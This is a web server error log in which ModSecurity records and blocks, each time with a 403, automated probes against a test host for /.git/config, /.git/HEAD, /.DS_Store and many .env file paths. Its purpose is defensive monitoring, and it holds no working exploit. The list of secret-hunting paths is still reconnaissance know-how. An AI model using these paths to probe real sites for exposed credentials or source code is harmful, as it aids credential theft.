[Fri Aug 15 23:30:03.335063 2025] [:error] [pid 1964221] [client 195.178.110.75:53328] [client 195.178.110.75] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aJ-m2xVl6PWTq5TuAp5EGgAAAAA"], referer: http://forst-trento.test.indacotrentino.com/.DS_Store
[Fri Aug 15 23:30:03.337600 2025] [:error] [pid 1964221] [client 195.178.110.75:53328] [client 195.178.110.75] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aJ-m2xVl6PWTq5TuAp5EGgAAAAA"], referer: http://forst-trento.test.indacotrentino.com/.DS_Store
[Fri Aug 15 23:30:03.337785 2025] [:error] [pid 1964221] [client 195.178.110.75:53328] [client 195.178.110.75] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aJ-m2xVl6PWTq5TuAp5EGgAAAAA"], referer: http://forst-trento.test.indacotrentino.com/.DS_Store
[Sat Aug 16 01:40:30.633408 2025] [:error] [pid 1989753] [client 94.130.132.56:46038] [client 94.130.132.56] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJ_FblMizdsZQUyjVwsooQAAAAk"]
[Sat Aug 16 01:40:30.633729 2025] [:error] [pid 1989753] [client 94.130.132.56:46038] [client 94.130.132.56] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJ_FblMizdsZQUyjVwsooQAAAAk"]
[Sat Aug 16 01:40:30.634154 2025] [:error] [pid 1989753] [client 94.130.132.56:46038] [client 94.130.132.56] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJ_FblMizdsZQUyjVwsooQAAAAk"]
[Sun Aug 17 14:16:46.450995 2025] [:error] [pid 2017141] [client 45.130.203.166:48745] [client 45.130.203.166] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aKHILsD1a0d9orbGrQsIswAAAAc"]
[Sun Aug 17 14:16:46.451240 2025] [:error] [pid 2017141] [client 45.130.203.166:48745] [client 45.130.203.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aKHILsD1a0d9orbGrQsIswAAAAc"]
[Sun Aug 17 14:16:46.451427 2025] [:error] [pid 2017141] [client 45.130.203.166:48745] [client 45.130.203.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aKHILsD1a0d9orbGrQsIswAAAAc"]
[Fri Aug 22 16:56:22.017487 2025] [:error] [pid 2142516] [client 45.130.202.95:60791] [client 45.130.202.95] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aKiFFqBnYAMe--u7QyRH6gAAAAg"]
[Fri Aug 22 16:56:22.018902 2025] [:error] [pid 2142516] [client 45.130.202.95:60791] [client 45.130.202.95] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aKiFFqBnYAMe--u7QyRH6gAAAAg"]
[Fri Aug 22 16:56:22.019065 2025] [:error] [pid 2142516] [client 45.130.202.95:60791] [client 45.130.202.95] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aKiFFqBnYAMe--u7QyRH6gAAAAg"]
[Sun Aug 24 11:57:18.362945 2025] [:error] [pid 2194141] [client 67.213.121.215:57464] [client 67.213.121.215] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aKrh_oCTqzxeWf5-O93oaAAAAAc"]
[Sun Aug 24 11:57:18.364305 2025] [:error] [pid 2194141] [client 67.213.121.215:57464] [client 67.213.121.215] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aKrh_oCTqzxeWf5-O93oaAAAAAc"]
[Sun Aug 24 11:57:18.364466 2025] [:error] [pid 2194141] [client 67.213.121.215:57464] [client 67.213.121.215] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aKrh_oCTqzxeWf5-O93oaAAAAAc"]
[Mon Aug 25 03:48:46.818962 2025] [:error] [pid 2215384] [client 195.178.110.109:47084] [client 195.178.110.109] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aKvA_t3kx1L8Nrl0oO7EfQAAAAE"]
[Mon Aug 25 03:48:46.820265 2025] [:error] [pid 2215384] [client 195.178.110.109:47084] [client 195.178.110.109] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aKvA_t3kx1L8Nrl0oO7EfQAAAAE"]
[Mon Aug 25 03:48:46.820438 2025] [:error] [pid 2215384] [client 195.178.110.109:47084] [client 195.178.110.109] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aKvA_t3kx1L8Nrl0oO7EfQAAAAE"]
[Mon Aug 25 03:48:46.985322 2025] [:error] [pid 2215385] [client 195.178.110.109:47094] [client 195.178.110.109] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aKvA_g3mdbOrRgPGA3VgvAAAAAI"]
[Mon Aug 25 03:48:46.985577 2025] [:error] [pid 2215385] [client 195.178.110.109:47094] [client 195.178.110.109] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aKvA_g3mdbOrRgPGA3VgvAAAAAI"]
[Mon Aug 25 03:48:46.985742 2025] [:error] [pid 2215385] [client 195.178.110.109:47094] [client 195.178.110.109] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aKvA_g3mdbOrRgPGA3VgvAAAAAI"]
[Mon Aug 25 03:48:47.152689 2025] [:error] [pid 2215386] [client 195.178.110.109:47106] [client 195.178.110.109] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aKvA_2C_NR9zb_l6svnhWAAAAAM"]
[Mon Aug 25 03:48:47.153073 2025] [:error] [pid 2215386] [client 195.178.110.109:47106] [client 195.178.110.109] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aKvA_2C_NR9zb_l6svnhWAAAAAM"]
[Mon Aug 25 03:48:47.153288 2025] [:error] [pid 2215386] [client 195.178.110.109:47106] [client 195.178.110.109] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aKvA_2C_NR9zb_l6svnhWAAAAAM"]
[Mon Aug 25 03:48:47.261388 2025] [:error] [pid 2215387] [client 195.178.110.109:47112] [client 195.178.110.109] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aKvA_6PW0We4xh_G6BF7iwAAAAQ"]
[Mon Aug 25 03:48:47.261701 2025] [:error] [pid 2215387] [client 195.178.110.109:47112] [client 195.178.110.109] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aKvA_6PW0We4xh_G6BF7iwAAAAQ"]
[Mon Aug 25 03:48:47.261887 2025] [:error] [pid 2215387] [client 195.178.110.109:47112] [client 195.178.110.109] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aKvA_6PW0We4xh_G6BF7iwAAAAQ"]
[Mon Aug 25 03:48:47.363352 2025] [authz_core:error] [pid 2215390] [client 195.178.110.109:47122] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Mon Aug 25 03:48:47.451126 2025] [:error] [pid 2215383] [client 195.178.110.109:47124] [client 195.178.110.109] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aKvA_7tVUX2n2FxK3s0XSwAAAAA"]
[Mon Aug 25 03:48:47.451388 2025] [:error] [pid 2215383] [client 195.178.110.109:47124] [client 195.178.110.109] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aKvA_7tVUX2n2FxK3s0XSwAAAAA"]
[Mon Aug 25 03:48:47.451570 2025] [:error] [pid 2215383] [client 195.178.110.109:47124] [client 195.178.110.109] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aKvA_7tVUX2n2FxK3s0XSwAAAAA"]
[Mon Aug 25 03:48:48.134969 2025] [:error] [pid 2215390] [client 195.178.110.109:47174] [client 195.178.110.109] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aKvBAJBmHpIkfc6wzYRmVQAAAAU"]
[Mon Aug 25 03:48:48.135212 2025] [:error] [pid 2215390] [client 195.178.110.109:47174] [client 195.178.110.109] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aKvBAJBmHpIkfc6wzYRmVQAAAAU"]
[Mon Aug 25 03:48:48.135369 2025] [:error] [pid 2215390] [client 195.178.110.109:47174] [client 195.178.110.109] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aKvBAJBmHpIkfc6wzYRmVQAAAAU"]
[Mon Aug 25 03:48:48.232530 2025] [:error] [pid 2215383] [client 195.178.110.109:47190] [client 195.178.110.109] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aKvBALtVUX2n2FxK3s0XTAAAAAA"]
[Mon Aug 25 03:48:48.232769 2025] [:error] [pid 2215383] [client 195.178.110.109:47190] [client 195.178.110.109] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aKvBALtVUX2n2FxK3s0XTAAAAAA"]
[Mon Aug 25 03:48:48.232924 2025] [:error] [pid 2215383] [client 195.178.110.109:47190] [client 195.178.110.109] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aKvBALtVUX2n2FxK3s0XTAAAAAA"]
[Mon Aug 25 03:48:48.336801 2025] [:error] [pid 2215384] [client 195.178.110.109:47206] [client 195.178.110.109] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aKvBAN3kx1L8Nrl0oO7EfwAAAAE"]
[Mon Aug 25 03:48:48.337033 2025] [:error] [pid 2215384] [client 195.178.110.109:47206] [client 195.178.110.109] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aKvBAN3kx1L8Nrl0oO7EfwAAAAE"]
[Mon Aug 25 03:48:48.337186 2025] [:error] [pid 2215384] [client 195.178.110.109:47206] [client 195.178.110.109] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aKvBAN3kx1L8Nrl0oO7EfwAAAAE"]
